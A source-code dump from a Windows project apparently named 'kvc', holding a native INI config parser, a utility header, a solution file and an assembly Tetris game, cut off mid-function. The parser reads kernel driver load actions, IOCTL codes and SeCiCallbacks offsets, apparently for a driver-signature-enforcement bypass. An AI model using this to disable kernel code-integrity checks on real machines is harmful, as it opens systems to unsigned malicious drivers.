// Reads the entire INI file into a newly allocated wide-character buffer.
// Encoding detection (in order): UTF-16 LE BOM → heuristic (NUL at odd bytes)
// → UTF-8 BOM → ASCII (non-ASCII bytes replaced with '?').
// Caller frees *outBuffer with FreeIniFileBuffer.
BOOLEAN ReadIniFile(PCWSTR filePath, PWSTR* outBuffer) {
    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile = NULL;
    NTSTATUS status;
    FILE_STANDARD_INFORMATION fileInfo;
    PUCHAR rawBuffer = NULL;
    PWSTR wideBuffer = NULL;
    LARGE_INTEGER byteOffset;
    SIZE_T rawAllocSize;
    SIZE_T bytesRead;
    SIZE_T start;

    if (!outBuffer) return FALSE;
    *outBuffer = NULL;

    RtlInitUnicodeString(&usFilePath, filePath);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0);
    if (!NT_SUCCESS(status)) return FALSE;

    memset_impl(&fileInfo, 0, sizeof(fileInfo));
    status = NtQueryInformationFile(hFile, &iosb, &fileInfo, sizeof(fileInfo), FileStandardInformation);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile);
        return FALSE;
    }

    if (fileInfo.EndOfFile.QuadPart <= 0) {
        NtClose(hFile);
        return FALSE;
    }

    rawAllocSize = (SIZE_T)fileInfo.EndOfFile.QuadPart + sizeof(WCHAR);
    if (!AllocateZeroedBuffer(rawAllocSize, (PVOID*)&rawBuffer)) {
        NtClose(hFile);
        return FALSE;
    }

    byteOffset.QuadPart = 0;
    status = NtReadFile(hFile, NULL, NULL, NULL, &iosb, rawBuffer, (ULONG)(rawAllocSize - 1), &byteOffset, NULL);
    NtClose(hFile);
    if (!NT_SUCCESS(status) && status != 0x103) {
        FreeAllocatedBuffer(rawBuffer);
        return FALSE;
    }

    bytesRead = (SIZE_T)iosb.Information;
    if (bytesRead == 0) {
        FreeAllocatedBuffer(rawBuffer);
        return FALSE;
    }

    // Detect UTF-16LE BOM or "looks like UTF-16LE" (many NUL bytes in odd positions).
    BOOLEAN isUtf16Le = FALSE;
    start = 0;
    if (bytesRead >= 2 && rawBuffer[0] == 0xFF && rawBuffer[1] == 0xFE) {
        isUtf16Le = TRUE;
        start = 2;
    } else if (bytesRead >= 4 && rawBuffer[1] == 0x00 && rawBuffer[3] == 0x00) {
        isUtf16Le = TRUE;
        start = 0;
    }

    if (isUtf16Le) {
        SIZE_T wcharCount = (bytesRead - start) / sizeof(WCHAR);

        if (!AllocateZeroedBuffer((wcharCount + 1) * sizeof(WCHAR), (PVOID*)&wideBuffer)) {
            FreeAllocatedBuffer(rawBuffer);
            return FALSE;
        }

        memcpy_impl(wideBuffer, rawBuffer + start, wcharCount * sizeof(WCHAR));
        wideBuffer[wcharCount] = 0;
        FreeAllocatedBuffer(rawBuffer);
        *outBuffer = wideBuffer;
        return TRUE;
    }

    // Detect UTF-8 BOM, otherwise treat as ASCII/UTF-8 and widen bytes.
    if (bytesRead >= 3 && rawBuffer[0] == 0xEF && rawBuffer[1] == 0xBB && rawBuffer[2] == 0xBF) {
        start = 3;
    } else {
        start = 0;
    }

    if (!AllocateZeroedBuffer((bytesRead - start + 1) * sizeof(WCHAR), (PVOID*)&wideBuffer)) {
        FreeAllocatedBuffer(rawBuffer);
        return FALSE;
    }

    SIZE_T out = 0;
    for (SIZE_T i = start; i < bytesRead; ++i) {
        UCHAR b = rawBuffer[i];
        if (b == 0) break;
        // INI is ASCII keys/values; non-ASCII is replaced.
        wideBuffer[out++] = (b < 0x80) ? (WCHAR)b : L'?';
    }
    wideBuffer[out] = 0;
    FreeAllocatedBuffer(rawBuffer);
    *outBuffer = wideBuffer;
    return TRUE;
}

void FreeIniFileBuffer(PWSTR buffer) {
    FreeAllocatedBuffer(buffer);
}

// Parses INI content into entries[] and config.
// [Config] fills CONFIG_SETTINGS; [DSE_STATE] is silently skipped;
// any other [name] section fills the next INI_ENTRY.
// Returns the number of completed INI_ENTRY records.
ULONG ParseIniFile(PWSTR iniContent, PINI_ENTRY entries, ULONG maxEntries, PCONFIG_SETTINGS config) {
    ULONG entryCount = 0;
    PWSTR line = iniContent, nextLine;
    WCHAR lineBuf[MAX_PATH_LEN];
    ULONG i;
    int currentEntry = -1;
    BOOLEAN inConfigSection = FALSE;

    // Defaults
    config->Execute = TRUE;
    config->RestoreHVCI = TRUE;
    config->Verbose = TRUE;
    config->DriverDevice[0] = 0;
    config->IoControlCode_Read = 0;
    config->IoControlCode_Write = 0;
    config->Offset_SeCiCallbacks = 0;
    config->Offset_Callback = 0;
    config->Offset_SafeFunction = 0;
    
    if (!iniContent || iniContent[0] == 0) return 0;
    if (iniContent[0] == 0xFEFF) line++;

    while (*line && entryCount < maxEntries) {
        nextLine = line;
        while (*nextLine && *nextLine != L'\r' && *nextLine != L'\n') nextLine++;
        
        i = 0;
        while (line < nextLine && i < (MAX_PATH_LEN - 1)) lineBuf[i++] = *line++;
        lineBuf[i] = 0;
        line = nextLine;
        if (*line == L'\r') line++;
        if (*line == L'\n') line++;
        
        TrimString(lineBuf);
        if (lineBuf[0] == 0 || lineBuf[0] == L';' || lineBuf[0] == L'#') continue;

        if (lineBuf[0] == L'[') {
            if (_wcsicmp_impl(lineBuf, L"[Config]") == 0) {
                inConfigSection = TRUE;
                currentEntry = -1;
                continue;
            }
            if (_wcsicmp_impl(lineBuf, L"[DSE_STATE]") == 0) {
                inConfigSection = FALSE;
                currentEntry = -1;
                continue;
            }
            inConfigSection = FALSE;
            if (currentEntry >= 0) {
                if (entries[currentEntry].DisplayName[0] == 0 && entries[currentEntry].ServiceName[0]) {
                    wcscpy_safe(entries[currentEntry].DisplayName, MAX_PATH_LEN, entries[currentEntry].ServiceName);
                }
                entryCount++;
            }
            if (entryCount < maxEntries) {
                currentEntry = (LONG)entryCount;
                memset_impl(&entries[currentEntry], 0, sizeof(INI_ENTRY));
                wcscpy_safe(entries[currentEntry].DriverType, 16, L"KERNEL");
                wcscpy_safe(entries[currentEntry].StartType, 16, L"DEMAND");
            } else currentEntry = -1;
            continue;
        }

        if (inConfigSection && lineBuf[0] != 0) {
            PWSTR equals = lineBuf;
            while (*equals && *equals != L'=') equals++;
            if (*equals == L'=') {
                *equals = 0;
                PWSTR key = lineBuf, value = equals + 1;
                TrimString(key); TrimString(value);
                if (_wcsicmp_impl(key, L"Execute") == 0) config->Execute = (_wcsicmp_impl(value, L"YES") == 0 || _wcsicmp_impl(value, L"1") == 0);
                else if (_wcsicmp_impl(key, L"RestoreHVCI") == 0) config->RestoreHVCI = (_wcsicmp_impl(value, L"YES") == 0 || _wcsicmp_impl(value, L"1") == 0);
                else if (_wcsicmp_impl(key, L"Verbose") == 0) config->Verbose = (_wcsicmp_impl(value, L"YES") == 0 || _wcsicmp_impl(value, L"1") == 0);
                else if (_wcsicmp_impl(key, L"DriverDevice") == 0) wcscpy_safe(config->DriverDevice, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"IoControlCode_Read") == 0) StringToULONG(value, &config->IoControlCode_Read);
                else if (_wcsicmp_impl(key, L"IoControlCode_Write") == 0) StringToULONG(value, &config->IoControlCode_Write);
                else if (_wcsicmp_impl(key, L"Offset_SeCiCallbacks") == 0) StringToULONGLONG(value, &config->Offset_SeCiCallbacks);
                else if (_wcsicmp_impl(key, L"Offset_Callback") == 0) StringToULONGLONG(value, &config->Offset_Callback);
                else if (_wcsicmp_impl(key, L"Offset_SafeFunction") == 0) StringToULONGLONG(value, &config->Offset_SafeFunction);
            }
            continue;
        }

        if (currentEntry >= 0 && (ULONG)currentEntry < maxEntries) {
            PWSTR equals = lineBuf;
            while (*equals && *equals != L'=') equals++;
            if (*equals == L'=') {
                *equals = 0;
                PWSTR key = lineBuf, value = equals + 1;
                TrimString(key); TrimString(value);
                if (_wcsicmp_impl(key, L"Action") == 0) {
                    if (_wcsicmp_impl(value, L"LOAD") == 0) entries[currentEntry].Action = ACTION_LOAD;
                    else if (_wcsicmp_impl(value, L"UNLOAD") == 0) entries[currentEntry].Action = ACTION_UNLOAD;
                    else if (_wcsicmp_impl(value, L"RENAME") == 0) entries[currentEntry].Action = ACTION_RENAME;
                    else if (_wcsicmp_impl(value, L"DELETE") == 0) entries[currentEntry].Action = ACTION_DELETE;
                }
                else if (_wcsicmp_impl(key, L"ServiceName") == 0) wcscpy_safe(entries[currentEntry].ServiceName, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"DisplayName") == 0) wcscpy_safe(entries[currentEntry].DisplayName, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"ImagePath") == 0) wcscpy_safe(entries[currentEntry].ImagePath, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"Type") == 0 || _wcsicmp_impl(key, L"DriverType") == 0) {
                    // Accept both named ("KERNEL","FILE_SYSTEM") and numeric (1,2) forms
                    if      (_wcsicmp_impl(value, L"KERNEL")      == 0 || _wcsicmp_impl(value, L"1") == 0)
                        wcscpy_safe(entries[currentEntry].DriverType, 16, L"KERNEL");
                    else if (_wcsicmp_impl(value, L"FILE_SYSTEM")  == 0 || _wcsicmp_impl(value, L"2") == 0)
                        wcscpy_safe(entries[currentEntry].DriverType, 16, L"FILE_SYSTEM");
                    else
                        wcscpy_safe(entries[currentEntry].DriverType, 16, value);
                }
                else if (_wcsicmp_impl(key, L"StartType") == 0) {
                    // Accept both named and numeric (0-4) forms
                    if      (_wcsicmp_impl(value, L"BOOT")     == 0 || _wcsicmp_impl(value, L"0") == 0)
                        wcscpy_safe(entries[currentEntry].StartType, 16, L"BOOT");
                    else if (_wcsicmp_impl(value, L"SYSTEM")   == 0 || _wcsicmp_impl(value, L"1") == 0)
                        wcscpy_safe(entries[currentEntry].StartType, 16, L"SYSTEM");
                    else if (_wcsicmp_impl(value, L"AUTO")     == 0 || _wcsicmp_impl(value, L"2") == 0)
                        wcscpy_safe(entries[currentEntry].StartType, 16, L"AUTO");
                    else if (_wcsicmp_impl(value, L"DEMAND")   == 0 || _wcsicmp_impl(value, L"3") == 0)
                        wcscpy_safe(entries[currentEntry].StartType, 16, L"DEMAND");
                    else if (_wcsicmp_impl(value, L"DISABLED") == 0 || _wcsicmp_impl(value, L"4") == 0)
                        wcscpy_safe(entries[currentEntry].StartType, 16, L"DISABLED");
                    else
                        wcscpy_safe(entries[currentEntry].StartType, 16, value);
                }
                else if (_wcsicmp_impl(key, L"CheckIfLoaded") == 0) entries[currentEntry].CheckIfLoaded = (_wcsicmp_impl(value, L"YES") == 0);
                else if (_wcsicmp_impl(key, L"AutoPatch") == 0) entries[currentEntry].AutoPatch = (_wcsicmp_impl(value, L"YES") == 0 || _wcsicmp_impl(value, L"1") == 0);
                else if (_wcsicmp_impl(key, L"SourcePath") == 0) wcscpy_safe(entries[currentEntry].SourcePath, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"TargetPath") == 0) wcscpy_safe(entries[currentEntry].TargetPath, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"ReplaceIfExists") == 0) entries[currentEntry].ReplaceIfExists = (_wcsicmp_impl(value, L"YES") == 0);
                else if (_wcsicmp_impl(key, L"DeletePath") == 0) wcscpy_safe(entries[currentEntry].DeletePath, MAX_PATH_LEN, value);
                else if (_wcsicmp_impl(key, L"RecursiveDelete") == 0) entries[currentEntry].RecursiveDelete = (_wcsicmp_impl(value, L"YES") == 0);
            }
        }
    }
    if (currentEntry >= 0) {
        if (entries[currentEntry].DisplayName[0] == 0 && entries[currentEntry].ServiceName[0]) {
            wcscpy_safe(entries[currentEntry].DisplayName, MAX_PATH_LEN, entries[currentEntry].ServiceName);
        }
        entryCount++;
    }
    return entryCount;
}

<<<FILE: kvc_smss/SystemUtils.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-08 13:54:51
Size:     2.18 KB
#ifndef SYSTEM_UTILS_H
#define SYSTEM_UTILS_H

#include "BootBypass.h"

#if DEBUG_LOGGING_ENABLED
    #define DEBUG_LOG(msg) DisplayMessage(msg)
    #define DEBUG_STATUS(status) DisplayStatus(status)
#else
    #define DEBUG_LOG(msg)
    #define DEBUG_STATUS(status)
#endif

extern BOOLEAN g_VerboseMode;

void* memset_impl(void* dest, int c, SIZE_T count);
void* memcpy_impl(void* dest, const void* src, SIZE_T count);
SIZE_T wcslen(const WCHAR* str);
WCHAR* wcscpy(WCHAR* dest, const WCHAR* src);
WCHAR* wcscat(WCHAR* dest, const WCHAR* src);
int _wcsicmp_impl(const WCHAR* str1, const WCHAR* str2);
// Safe string operations with bounds checking
// All size parameters are in WCHAR count (not bytes)
// Returns: actual length of result string (not including null terminator)
// If truncation occurs, returns what WOULD be the full length (like strlcpy/strlcat)
SIZE_T wcscpy_safe(WCHAR* dest, SIZE_T destSize, const WCHAR* src);
SIZE_T wcscat_safe(WCHAR* dest, SIZE_T destSize, const WCHAR* src);
// Check if concatenation would fit without truncation
BOOLEAN wcscat_check(WCHAR* dest, SIZE_T destSize, const WCHAR* src);

// Bounded string length - never reads beyond maxLen characters
SIZE_T wcsnlen_safe(const WCHAR* str, SIZE_T maxLen);
SIZE_T UnicodeStringCopySafe(WCHAR* dest, SIZE_T destSize, const UNICODE_STRING* src);

// Validate if adding addLen to currentLen would exceed maxLen (with overflow protection)
BOOLEAN validate_string_space(SIZE_T currentLen, SIZE_T addLen, SIZE_T maxLen);
void TrimString(PWSTR str);
BOOLEAN StringToULONGLONG(PCWSTR str, ULONGLONG* out);
BOOLEAN StringToULONG(PCWSTR str, PULONG out);
void ULONGLONGToHexString(ULONGLONG value, PWSTR buffer, BOOLEAN includePrefix);
void DisplayMessage(PCWSTR message);
void DisplayAlwaysMessage(PCWSTR message);
void DisplayStatus(NTSTATUS status);
BOOLEAN AllocateZeroedBuffer(SIZE_T size, PVOID* outBuffer);
BOOLEAN ReadIniFile(PCWSTR filePath, PWSTR* outBuffer);
void FreeIniFileBuffer(PWSTR buffer);
BOOLEAN QuerySystemModuleInformation(SYSTEM_MODULE_INFORMATION** outModuleInfo);
void FreeAllocatedBuffer(PVOID buffer);
ULONG ParseIniFile(PWSTR iniContent, PINI_ENTRY entries, ULONG maxEntries, PCONFIG_SETTINGS config);

#endif

<<<FILE: kvc.sln>>>
Created:  2026-02-27 12:50:25
Modified: 2026-04-05 01:39:15
Size:     2.38 KB

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 18
VisualStudioVersion = 18.0.11222.15
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc", "kvc\kvc.vcxproj", "{00000000-0000-0000-0000-000000000002}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc_pass\kvc_crypt.vcxproj", "{00000000-0000-0000-0000-000000000003}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc_pass\kvc_pass.vcxproj", "{00000000-0000-0000-0000-000000000004}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvcXor\KvcXor.vcxproj", "{00000000-0000-0000-0000-000000000005}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "implementer", "Implementer\implementer.vcxproj", "{00000000-0000-0000-0000-000000000001}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvcstrm", "kvcstrm\kvcstrm.vcxproj", "{00000000-0000-0000-0000-000000000006}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Release|x64 = Release|x64
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{00000000-0000-0000-0000-000000000002}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000002}.Release|x64.Build.0 = Release|x64
		{00000000-0000-0000-0000-000000000003}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000003}.Release|x64.Build.0 = Release|x64
		{00000000-0000-0000-0000-000000000004}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000004}.Release|x64.Build.0 = Release|x64
		{00000000-0000-0000-0000-000000000005}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000005}.Release|x64.Build.0 = Release|x64
		{00000000-0000-0000-0000-000000000001}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000001}.Release|x64.Build.0 = Release|x64
		{00000000-0000-0000-0000-000000000006}.Release|x64.ActiveCfg = Release|x64
		{00000000-0000-0000-0000-000000000006}.Release|x64.Build.0 = Release|x64
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {75429447-576C-4E36-9CDC-F4B668D9FBF5}
		        SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307}
	EndGlobalSection
EndGlobal

<<<FILE: kvc/addons/data.inc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-01-25 19:33:12
Size:     3.29 KB
; 2D coordinate for block positions within a piece
POINT_STRUCT STRUCT
    x DWORD ?
    y DWORD ?
POINT_STRUCT ENDS

; Tetromino piece structure (48 bytes total)
; Contains shape type, position, and 4 block offsets relative to piece origin
PIECE STRUCT
    shapeType BYTE ?                 ; 0=I, 1=O, 2=Z, 3=S, 4=T, 5=L, 6=J
    color BYTE ?                     ; Color index (1-7, matches shapeType+1)
    padding WORD ?                   ; Alignment padding
    x DWORD ?                        ; Board X position (column)
    y DWORD ?                        ; Board Y position (row)
    yFloat DWORD ?                   ; Fractional Y for smooth gravity
    blocks POINT_STRUCT 4 DUP(<>)    ; 4 block offsets relative to (x,y)
PIECE ENDS

; Main game state structure - holds all gameplay data
; Board stored as 1D array, accessed as board[y * width + x]
GAME_STATE STRUCT
    boardWidth DWORD ?               ; Board width in cells (typically 10)
    boardHeight DWORD ?              ; Board height in cells (typically 20)
    board BYTE 400 DUP(?)            ; Cell array: 0=empty, 1-7=piece color
    currentPiece PIECE <>            ; Active falling piece
    nextPiece PIECE <>               ; Preview piece shown in info panel
    score DWORD ?                    ; Current game score
    lines DWORD ?                    ; Total lines cleared
    level DWORD ?                    ; Current level (affects speed)
    gameOver BYTE ?                  ; 1 if game ended
    paused BYTE ?                    ; 1 if game paused
    showGhost BYTE ?                 ; 1 to show ghost piece preview
    padding BYTE ?                   ; Alignment padding
    rngSeed DWORD ?                  ; Random seed for piece generation
    playerName WORD 128 DUP(?)       ; Unicode player name (max 127 chars)
    highScore DWORD ?                ; Persisted high score
    highScoreName WORD 128 DUP(?)    ; Unicode name of high score holder
    yFloat DWORD ?                   ; Gravity accumulator (fractional movement)
    ; Line clear animation state
    clearActive BYTE ?               ; 1 if animation in progress
    clearCount  BYTE ?               ; Number of lines being cleared (1..4)
    clearPad    WORD ?               ; Alignment padding
    clearMask   DWORD ?              ; Bitmask of rows to animate (bit y = row y)
    clearTimer  DWORD ?              ; Animation elapsed time in ms
GAME_STATE ENDS

; Renderer state - GDI handles for double-buffered drawing
RENDERER_STATE STRUCT
    hwnd QWORD ?                     ; Window handle
    hdcMem QWORD ?                   ; Memory DC for backbuffer
    hbmMem QWORD ?                   ; Backbuffer bitmap
    hbmOld QWORD ?                   ; Original bitmap (for cleanup)
    wWidth DWORD ?                   ; Window client width
    wHeight DWORD ?                  ; Window client height
    hFontNormal QWORD ?              ; 20pt bold font for stats
    hFontSmall QWORD ?               ; 14pt font for controls/author
    hFontPause QWORD ?               ; 26pt bold font for PAUSED text
    hFontGameOver QWORD ?            ; 30pt bold font for GAME OVER
    colorBrushes QWORD 8 DUP(?)      ; Solid brushes for 8 piece colors
    pausePulse DWORD ?               ; Animation counter for pulsing PAUSED text
RENDERER_STATE ENDS

<<<FILE: kvc/addons/game.asm>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-08 21:24:58
Size:     23.34 KB
INCLUDE data.inc
INCLUDE proto.inc

.DATA
ALIGN 16
; Tetromino shape templates: I, O, Z, S, T, L, J
; Format: x0,y0, x1,y1, x2,y2, x3,y3 (4 blocks per shape)
; TRAP: Each shape is 32 bytes (8 dwords) for 4 blocks
SHAPE_TEMPLATES dd 0,1,1,1,2,1,3,1  ; I-piece (horizontal line)
    dd 0,0,1,0,0,1,1,1              ; O-piece (square)
    dd 1,0,0,1,1,1,2,1              ; Z-piece (left zigzag)
    dd 0,1,1,1,1,0,2,0              ; S-piece (right zigzag)
    dd 0,0,1,0,1,1,2,1              ; T-piece (T-shape)
    dd 0,0,0,1,1,1,2,1              ; L-piece (left L)
    dd 2,0,0,1,1,1,2,1              ; J-piece (right L)

; 7-bag randomizer state for fair piece distribution
bagBytes db 0, 1, 2, 3, 4, 5, 6     ; Bag containing all 7 piece types
ALIGN 4
bagIndex dd 7                        ; Current position in bag (7 = empty, needs reshuffle)

.CODE
ALIGN 16

; Board size safety limits
BOARD_MAX_CELLS equ 400              ; Maximum total cells (prevents buffer overflow)
BOARD_MIN_DIM equ 4                  ; Minimum width/height for playable game

; Line clear animation timing
CLEAR_ANIM_MS equ 300               ; Duration of line clear fade-out animation (ms)

; Initialize game state with board dimensions
; TRAP x64: Args are RCX=pGame, EDX=boardWidth, R8D=boardHeight (not stack!)
; Non-volatile registers (RSI, RDI) must be preserved
InitGame PROC pGame:QWORD, boardWidth:DWORD, boardHeight:DWORD
    push rsi
    push rdi
    sub rsp, 20h                     ; TRAP: Shadow space required for Win64 API

    mov rsi, rcx                     ; RSI = pGame pointer
    mov eax, edx                     ; EAX = boardWidth
    imul eax, r8d                    ; EAX = boardWidth * boardHeight
    cmp eax, BOARD_MAX_CELLS
    jg @@invalid_size
    cmp edx, BOARD_MIN_DIM
    jl @@invalid_size
    cmp r8d, BOARD_MIN_DIM
    jl @@invalid_size

    ; Dimensions are valid - store them
    mov [rsi].GAME_STATE.boardWidth, edx
    mov [rsi].GAME_STATE.boardHeight, r8d
    jmp @@dimensions_ok

@@invalid_size:
    ; Fall back to safe default 10x20 board
    mov DWORD PTR [rsi].GAME_STATE.boardWidth, 10
    mov DWORD PTR [rsi].GAME_STATE.boardHeight, 20

@@dimensions_ok:
    ; Reset game metrics to defaults
    mov DWORD PTR [rsi].GAME_STATE.score, 0
    mov DWORD PTR [rsi].GAME_STATE.lines, 0
    mov DWORD PTR [rsi].GAME_STATE.level, 1
    mov BYTE PTR [rsi].GAME_STATE.gameOver, 0
    mov BYTE PTR [rsi].GAME_STATE.paused, 0
    mov BYTE PTR [rsi].GAME_STATE.showGhost, 0

    ; Initialize line clear animation state
    mov BYTE PTR [rsi].GAME_STATE.clearActive, 0
    mov BYTE PTR [rsi].GAME_STATE.clearCount, 0
    mov DWORD PTR [rsi].GAME_STATE.clearMask, 0
    mov DWORD PTR [rsi].GAME_STATE.clearTimer, 0

    ; Clear entire board memory to empty (0)
    lea rax, [rsi].GAME_STATE.board
    mov ecx, [rsi].GAME_STATE.boardHeight
    imul ecx, [rsi].GAME_STATE.boardWidth
    xor edx, edx
@@clear_loop:
    mov byte ptr [rax], dl           ; Write 0 (empty cell)
    inc rax
    dec ecx
    jnz @@clear_loop

    ; Seed RNG with current tick count for random piece generation
    call GetTickCount
    mov [rsi].GAME_STATE.rngSeed, eax
    mov DWORD PTR bagIndex, 7        ; Force bag reshuffle on first piece

    ; Load persistent data from Windows registry
    mov rcx, rsi
    call LoadHighScore

    mov rcx, rsi
    call LoadPlayerName

    ; Generate first two pieces (next + current)
    ; TRAP: LEA gets address, RSI already contains pGame
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.nextPiece
    call GenerateRandomPiece

    mov rcx, rsi
    call SpawnNewPiece

    add rsp, 20h                     ; Clean up shadow space
    pop rdi
    pop rsi
    ret
InitGame ENDP

; Reset game state (new game from Game Over)
; TRAP: Must preserve RSI, RDI (non-volatile in x64 calling convention)
StartGame PROC pGame:QWORD
    push rsi
    push rdi
    sub rsp, 20h                     ; Shadow space

    mov rsi, rcx                     ; RSI = pGame

    ; Clear entire board to empty
    lea rax, [rsi].GAME_STATE.board
    mov ecx, [rsi].GAME_STATE.boardHeight
    imul ecx, [rsi].GAME_STATE.boardWidth
    xor edx, edx
@@clear_loop:
    mov byte ptr [rax], dl
    inc rax
    dec ecx
    jnz @@clear_loop

    ; Reset game state to defaults (keep high score and player name)
    mov DWORD PTR [rsi].GAME_STATE.score, 0
    mov DWORD PTR [rsi].GAME_STATE.lines, 0
    mov DWORD PTR [rsi].GAME_STATE.level, 1
    mov BYTE PTR [rsi].GAME_STATE.gameOver, 0
    mov BYTE PTR [rsi].GAME_STATE.paused, 0

    ; Reset line clear animation state
    mov BYTE PTR [rsi].GAME_STATE.clearActive, 0
    mov BYTE PTR [rsi].GAME_STATE.clearCount, 0
    mov DWORD PTR [rsi].GAME_STATE.clearMask, 0
    mov DWORD PTR [rsi].GAME_STATE.clearTimer, 0

    ; Reset 7-bag randomizer for new game
    mov DWORD PTR bagIndex, 7

    ; Spawn initial pieces
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.nextPiece
    call GenerateRandomPiece

    mov rcx, rsi
    call SpawnNewPiece

    add rsp, 20h
    pop rdi
    pop rsi
    ret
StartGame ENDP

; Generate random piece using 7-bag algorithm (ensures fair distribution)
; TRAP x64: Args are RCX=pGame, RDX=pPiece (output structure)
; The 7-bag algorithm guarantees all 7 pieces appear once every 7 pieces
GenerateRandomPiece PROC pGame:QWORD, pPiece:QWORD
    push rsi
    push rdi
    push rbx
    sub rsp, 28h                     ; Shadow space + local storage

    mov rsi, rcx                     ; RSI = pGame
    mov rdi, rdx                     ; RDI = pPiece (output)

    ; Check if bag needs reshuffling (index >= 7 means empty bag)
    cmp DWORD PTR bagIndex, 7
    jl @@get_from_bag

    ; Fisher-Yates shuffle algorithm for 7-bag
    mov ecx, 6                       ; Start from index 6, shuffle down to 0
@@shuffle_loop:
    mov DWORD PTR [rsp+20h], ecx
    
    mov eax, [rsi].GAME_STATE.rngSeed
    imul eax, 1103515245
    add eax, 12345
    mov [rsi].GAME_STATE.rngSeed, eax
    
    shr eax, 16
    and eax, 7FFFh
    xor edx, edx
    mov ecx, DWORD PTR [rsp+20h]
    inc ecx
    div ecx
    
    mov ecx, DWORD PTR [rsp+20h]
    lea rax, bagBytes
    mov bl, [rax + rcx]
    mov bh, [rax + rdx]
    mov [rax + rcx], bh
    mov [rax + rdx], bl
    
    dec ecx
    jns @@shuffle_loop
    
    mov DWORD PTR bagIndex, 0
    
@@get_from_bag:
    ; Pull next piece type from shuffled bag
    mov eax, bagIndex
    lea rcx, bagBytes
    movzx edx, byte ptr [rcx + rax]  ; EDX = piece type (0-6)
    inc bagIndex                     ; Move to next piece in bag
    mov [rdi].PIECE.shapeType, dl

    ; Center horizontally at top of board
    mov eax, [rsi].GAME_STATE.boardWidth
    shr eax, 1                       ; Divide by 2
    dec eax                          ; Adjust for piece width
    mov [rdi].PIECE.x, eax
    mov DWORD PTR [rdi].PIECE.y, 0
    mov DWORD PTR [rdi].PIECE.yFloat, 0

    ; Copy block template from SHAPE_TEMPLATES
    ; TRAP: Each shape is 32 bytes (8 dwords), so multiply by 32
    movzx eax, dl
    mov ebx, eax
    shl eax, 5                       ; Multiply by 32 (2^5)
    lea rcx, SHAPE_TEMPLATES
    add rcx, rax                     ; RCX = &SHAPE_TEMPLATES[shapeType]

    ; Copy 8 dwords (4 blocks * 2 coords each) to piece structure
    lea rax, [rdi].PIECE.blocks
    mov r8, rcx
    mov ecx, 8
@@copy_blocks:
    mov edx, DWORD PTR [r8]
    mov DWORD PTR [rax], edx
    add r8, 4
    add rax, 4
    dec ecx
    jnz @@copy_blocks

    ; Set color (shapeType + 1)
    inc bl
    mov [rdi].PIECE.color, bl

    add rsp, 28h
    pop rbx
    pop rdi
    pop rsi
    ret
GenerateRandomPiece ENDP

; Move nextPiece to currentPiece and generate a new nextPiece
; Sets gameOver flag if new piece spawns into existing blocks
; RCX = pGame
SpawnNewPiece PROC pGame:QWORD
    push rsi
    push rdi
    sub rsp, 20h

    mov rsi, rcx
    lea rdi, [rsi].GAME_STATE.currentPiece
    lea rax, [rsi].GAME_STATE.nextPiece
    
    mov ecx, 48 / 8
@@copy_loop:
    mov rdx, QWORD PTR [rax]
    mov QWORD PTR [rdi], rdx
    add rax, 8
    add rdi, 8
    dec ecx
    jnz @@copy_loop
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.nextPiece
    call GenerateRandomPiece
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@no_collision
    mov BYTE PTR [rsi].GAME_STATE.gameOver, 1
    
@@no_collision:
    add rsp, 20h
    pop rdi
    pop rsi
    ret
SpawnNewPiece ENDP

; Check if piece collides with board boundaries or existing blocks
; Returns: EAX = 1 if collision detected, 0 otherwise
; RCX = pGame, RDX = pPiece to test
CheckCollision PROC pGame:QWORD, pPiece:QWORD
    push rsi
    push rdi

    mov rsi, rcx
    mov rdi, rdx

    xor ecx, ecx
@@block_loop:
    movsxd rax, [rdi].PIECE.blocks[rcx*8].x
    add eax, [rdi].PIECE.x
    movsxd rdx, [rdi].PIECE.blocks[rcx*8].y
    add edx, [rdi].PIECE.y
    
    test eax, eax
    jl @@collision
    cmp eax, [rsi].GAME_STATE.boardWidth
    jge @@collision
    
    test edx, edx
    jl @@collision
